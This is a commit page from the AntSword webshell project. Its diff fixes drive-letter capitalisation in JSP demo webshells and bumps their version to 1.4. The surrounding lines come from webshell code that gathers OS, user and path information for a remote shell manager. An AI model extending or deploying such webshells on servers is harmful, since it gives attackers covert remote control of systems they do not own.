Commit 6098f409 authored by Medicean's avatar Medicean

(BugFix:ShellDemo) 修正jsp demoshell windows 下基础路径获取盘符会出现小写的情况

parent aa686ac5
...@@ -24,6 +24,8 @@ ...@@ -24,6 +24,8 @@
已知问题: 已知问题:
1. 文件管理遇到中文文件名显示的问题 1. 文件管理遇到中文文件名显示的问题
ChangeLog: ChangeLog:
v1.4
1. 修正 windows 下基础路径获取盘符会出现小写的情况
v1.3 v1.3
1. 修正上传文件超过1M时的bug 1. 修正上传文件超过1M时的bug
2. 修正weblogic war 包布署获取路径问题 2. 修正weblogic war 包布署获取路径问题
...@@ -282,6 +284,7 @@ ChangeLog: ...@@ -282,6 +284,7 @@ ChangeLog:
String cd = this.getClass().getResource("/").getPath(); String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent(); d = new File(cd).getParent();
} }
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("os.name"); String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator; String separator = File.separator;
String user = (String)System.getProperty("user.name"); String user = (String)System.getProperty("user.name");
......
...@@ -21,7 +21,7 @@ ...@@ -21,7 +21,7 @@
注意:以上是两行 注意:以上是两行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
Ver:1.3 Ver:1.4
--> -->
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"> <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
...@@ -274,6 +274,7 @@ Ver:1.3 ...@@ -274,6 +274,7 @@ Ver:1.3
String cd = this.getClass().getResource("/").getPath(); String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent(); d = new File(cd).getParent();
} }
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("os.name"); String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator; String separator = File.separator;
String user = (String)System.getProperty("user.name"); String user = (String)System.getProperty("user.name");
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment